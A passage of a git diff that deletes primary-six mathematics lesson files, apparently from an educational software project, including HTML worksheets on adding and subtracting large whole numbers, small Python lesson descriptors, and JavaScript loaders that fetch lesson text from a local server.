-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 1. Add the following numbers:
- <br />
- a. 149,482,823+2,483641=
- <br />
- b. 3,529,523+67,3428=
- <br />
- c. 614,458+48,438=
- <br />
- d. 123,213+58,842=
- <br />
- <br />
- 2. Add the following numbers:
- <br />
- a. 463+37=
- <br />
- b. 67+463=
- <br />
- <br />
- 3. Apply the commutative property to fill in the blank the missing number.
- <br />
- a. 17+13=....+17
- <br />
- b. 98+....=19+....
- <br />
- <br />
- 4. Add the following numbers:
- <br />
- a. 12+(23+10)=
- <br />
- b. (12+23)+10=
- <br />
- c. (12+10)+23=
- <br />
- <br />
- Apply the associative property of addition to fill in the blank the missing number the following numbers:
- <br />
- a. (3+....)+9=3+(5+10)
- <br />
- b. 14+(8+7)=(14+....)+8
- <br />
- c. (6+3)+....=6+(3+21)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a05/description.py b/Save_Mathematics/P6/map611m04/map611m04a05/description.py
deleted file mode 100644
index 57e10b5..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m04a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m04/map611m04a05/lesson.js b/Save_Mathematics/P6/map611m04/map611m04a05/lesson.js
deleted file mode 100644
index 3b92df3..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m04/map611m04a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m04/map611m04a05/source.txt b/Save_Mathematics/P6/map611m04/map611m04a05/source.txt
deleted file mode 100644
index 2633f94..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a05/source.txt
+++ /dev/null
@@ -1,269 +0,0 @@
-<p>
- Remedial
-</p>
-<p>
- Fill the following numbers in the table.
- <br />
- a. 54,316
- <br />
- b. 678,311
- <br />
- c. 213,329
- <br />
- d. 635,428
- <br />
- e. 745,332,459
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Millions
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Thousands
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Units
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 1. Add the following numbers:
- <br />
- a. 149,482,823+2,483641=
- <br />
- b. 3,529,523+67,3428=
- <br />
- c. 614,458+48,438=
- <br />
- d. 123,213+58,842=
- <br />
- <br />
- 2. Add the following numbers:
- <br />
- a. 463+37=
- <br />
- b. 67+463=
- <br />
- <br />
- 3. Apply the commutative property to fill in the blank the missing number.
- <br />
- a. 17+13=....+17
- <br />
- b. 98+....=19+....
- <br />
- <br />
- 4. Add the following numbers:
- <br />
- a. 12+(23+10)=
- <br />
- b. (12+23)+10=
- <br />
- c. (12+10)+23=
- <br />
- <br />
- Apply the associative property of addition to fill in the blank the missing number the following numbers:
- <br />
- a. (3+....)+9=3+(5+10)
- <br />
- b. 14+(8+7)=(14+....)+8
- <br />
- c. (6+3)+....=6+(3+21)
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a06/a.txt b/Save_Mathematics/P6/map611m04/map611m04a06/a.txt
deleted file mode 100644
index 8c791cb..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a06/a.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- <strong>
-  ENRICHMENT
- </strong>
-</p>
-<p>
- 1.Arrange numbers vertically according to their place values:
- <br />
- <br />
- a) A school planted 968,987 trees in 2009, while in 2010 it planted 6,586,854 trees. How many trees planted together?
- <br />
- <br />
- b) In Gasabo District there are 137,798 cars and in Kicukiro District there are 1,379,518 cars.
- <br />
- How many cars are there altogether?
- <br />
- <br />
- c) What is the sum of 452,937 and 321,452 ?
- <br />
- <br />
- 2. Complete the following:
- <br />
- a) .....+41=41+18
- <br />
- b) 144+12=.....+144
- <br />
- <br />
- 3. Write true of false.
- <br />
- a) (19+14)+5=19+(14+6)
- <br />
- b) 13+(18+14)=(13+18)+14
- <br />
- c) (17+12)+13=17+(12+13)
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a06/description.py b/Save_Mathematics/P6/map611m04/map611m04a06/description.py
deleted file mode 100644
index 855f9ea..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m04a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m04/map611m04a06/lesson.js b/Save_Mathematics/P6/map611m04/map611m04a06/lesson.js
deleted file mode 100644
index 2c3b2ad..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m04/map611m04a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m04/map611m04a06/source.txt b/Save_Mathematics/P6/map611m04/map611m04a06/source.txt
deleted file mode 100644
index 8c791cb..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a06/source.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-<p>
- <strong>
-  ENRICHMENT
- </strong>
-</p>
-<p>
- 1.Arrange numbers vertically according to their place values:
- <br />
- <br />
- a) A school planted 968,987 trees in 2009, while in 2010 it planted 6,586,854 trees. How many trees planted together?
- <br />
- <br />
- b) In Gasabo District there are 137,798 cars and in Kicukiro District there are 1,379,518 cars.
- <br />
- How many cars are there altogether?
- <br />
- <br />
- c) What is the sum of 452,937 and 321,452 ?
- <br />
- <br />
- 2. Complete the following:
- <br />
- a) .....+41=41+18
- <br />
- b) 144+12=.....+144
- <br />
- <br />
- 3. Write true of false.
- <br />
- a) (19+14)+5=19+(14+6)
- <br />
- b) 13+(18+14)=(13+18)+14
- <br />
- c) (17+12)+13=17+(12+13)
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/activities.js b/Save_Mathematics/P6/map611m05/activities.js
deleted file mode 100755
index 70671b8..0000000
--- a/Save_Mathematics/P6/map611m05/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m05a01','blue'],
-['2','2','map6','basic','map611m05a02','blue'],
-['3','3','map6','basic','map611m05a03','blue'],
-['4','4','map6','basic','map611m05a04','blue'],
-['5','5','map6','basic','map611m05a05','blue'],
-['6','6','map6','basic','map611m05a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m05/map611m05a01/a.txt b/Save_Mathematics/P6/map611m05/map611m05a01/a.txt
deleted file mode 100644
index 4405750..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a01/a.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- <strong>
-  INTRODUCTION: SUBTRACTION OF WHOLE NUMBERS
- </strong>
-</p>
-<p>
- For getting better life,we have to eat different things every day at reguraly time and .sometimes,many people like to use
- <br />
- beans,meat,rice,tomatoes and then to drink water milk,in order to facilitate digestion.When you use 2kg of beans per day out of 100kg,the weight reduces progressively until it finishes.
- <br />
- <br />
- So,in this milestone,we have to learn how to subtract two numbers biginning by the biggest number.
- <br />
- <br />
- Now,listen the following examples:
- <br />
- <br />
- NZAYISENGA's salary was 29000 frw per month.If he was spent 19000 frw on food and water ,how much money remained?
- <br />
- <br />
- Muganda bought 45 eggs ,and then he came back home ,15 eggs of them were broken,how many eggs were left?
- <br />
- <br />
- Do you think of other examples like those ones?
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a01/description.py b/Save_Mathematics/P6/map611m05/map611m05a01/description.py
deleted file mode 100644
index 7ef52f7..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m05a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m05/map611m05a01/lesson.js b/Save_Mathematics/P6/map611m05/map611m05a01/lesson.js
deleted file mode 100644
index 1794ac5..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m05/map611m05a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m05/map611m05a01/source.txt b/Save_Mathematics/P6/map611m05/map611m05a01/source.txt
deleted file mode 100644
index 4405750..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a01/source.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-<p>
- <strong>
-  INTRODUCTION: SUBTRACTION OF WHOLE NUMBERS
- </strong>
-</p>
-<p>
- For getting better life,we have to eat different things every day at reguraly time and .sometimes,many people like to use
- <br />
- beans,meat,rice,tomatoes and then to drink water milk,in order to facilitate digestion.When you use 2kg of beans per day out of 100kg,the weight reduces progressively until it finishes.
- <br />
- <br />
- So,in this milestone,we have to learn how to subtract two numbers biginning by the biggest number.
- <br />
- <br />
- Now,listen the following examples:
- <br />
- <br />
- NZAYISENGA's salary was 29000 frw per month.If he was spent 19000 frw on food and water ,how much money remained?
- <br />
- <br />
- Muganda bought 45 eggs ,and then he came back home ,15 eggs of them were broken,how many eggs were left?
- <br />
- <br />
- Do you think of other examples like those ones?
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a02/a.txt b/Save_Mathematics/P6/map611m05/map611m05a02/a.txt
deleted file mode 100644
index 076c455..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a02/a.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-<p>
- Subtract the following numbers:
- <br />
- a. 9,414,823 - 2,483,641=
- <br />
- <br />
- b. 9414823
- <br />
- <span style="text-decoration: underline;">
-  - 8424631
- </span>
- <br />
- <br />
- c. 8646774
- <br />
- <span style="text-decoration: underline;">
-  - 6243234
- </span>
- <br style="text-decoration: underline;" />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a02/description.py b/Save_Mathematics/P6/map611m05/map611m05a02/description.py
deleted file mode 100644
index 239917e..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m05a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m05/map611m05a02/lesson.js b/Save_Mathematics/P6/map611m05/map611m05a02/lesson.js
deleted file mode 100644
index 38408f0..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m05/map611m05a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m05/map611m05a02/source.txt b/Save_Mathematics/P6/map611m05/map611m05a02/source.txt
deleted file mode 100644
index 076c455..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a02/source.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-<p>
- Subtract the following numbers:
- <br />
- a. 9,414,823 - 2,483,641=
- <br />
- <br />
- b. 9414823
- <br />
- <span style="text-decoration: underline;">
-  - 8424631
- </span>
- <br />
- <br />
- c. 8646774
- <br />
- <span style="text-decoration: underline;">
-  - 6243234
- </span>
- <br style="text-decoration: underline;" />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a03/a.txt b/Save_Mathematics/P6/map611m05/map611m05a03/a.txt
deleted file mode 100644
index ba4dbbc..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a03/a.txt
+++ /dev/null
@@ -1,448 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example 1: Subtract 6,783,547 and 520,243
- <br />
- <br />
-</p>
-<table style="width: 783px; height: 218px;" border="1">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Millions
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    <br />
-    Thousands
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Units
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    00
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 7 minus 3=4, Wriite 4 under ones place values.
- <br />
- 4-4=0, Write 0 under Tens.
- <br />
- 5-2=3, Write 3 under Hundreds.
- <br />
- 3-0=3, Write 3 under Thousands.
- <br />
- 8-2=6, Write 6 under Ten Thousands.
- <br />
- 7-5=2, write 2 under Hundred Thousands.
- <br />
- About 6, you bring it down under millions.
- <br />
- <br />
- Example 2: 5908568-4766479=
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Millions
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Thousands
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Units
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    10
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    15
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    18
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    9
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td colspan="9" width="11%" valign="top">
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    1
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    2
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 8-9 is not possible because 8 is the smallest, borrow one tens and we get 10 ones plus 8 ones we get 18 ones.
- <br />
- 18-9=9, write 9 under ones.
- <br />
- <br />
- After borrowing one tens, we remin with 5 tens, 5-7 is not possible, we borrrow 1 hundreds to get 10 tens.
- <br />
- 10+5=15 tens
- <br />
- 15-7=8 tens,
- <br />
- Write 8 under tens place values.
- <br />
- <br />
- In hundreds column, we have 4-4=0, 0 is written under hundreds place values.
- <br />
- 8-2=6 , write 2 under thousands.
- <br />
- <br />
- 0-6 is not pssible because 0 is less than 6, we borrow 1 from hundreds thousands and we 10 tens thusands plus 0 we get 10 tens thousands minus 6 ten thousands we get and 4 is wrtten under te thousands.
- <br />
- <br />
- After borrowing 1 hundred thousands, we remain with 8 hundred thousands minua 7 equals 1 and write 1 under hundred thousnds.
- <br />
- 55-4=1, write 1 under one millions.
- <br />
- <br />
- Notes: Iff you subtrat numbers, subtract from right to the left. When the digit
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m05/map611m05a03/description.py b/Save_Mathematics/P6/map611m05/map611m05a03/description.py
deleted file mode 100644
index ec2147d..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m05a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m05/map611m05a03/lesson.js b/Save_Mathematics/P6/map611m05/map611m05a03/lesson.js
deleted file mode 100644
index 496f31d..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m05/map611m05a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m05/map611m05a03/source.txt b/Save_Mathematics/P6/map611m05/map611m05a03/source.txt
deleted file mode 100644
index ba4dbbc..0000000
--- a/Save_Mathematics/P6/map611m05/map611m05a03/source.txt
+++ /dev/null
@@ -1,448 +0,0 @@
-<p>
- <strong>
-  Guided Practice
- </strong>
-</p>
-<p>
- Example 1: Subtract 6,783,547 and 520,243
- <br />
- <br />
-</p>
-<table style="width: 783px; height: 218px;" border="1">
- <tbody>
-  <tr>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Millions
-    <br />
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    <br />
-    Thousands
-    <br />
-   </td>
-   <td colspan="3" width="11%" valign="top">
-    <br />
-    Units
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    -
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    00
-    <br />
-   </td>
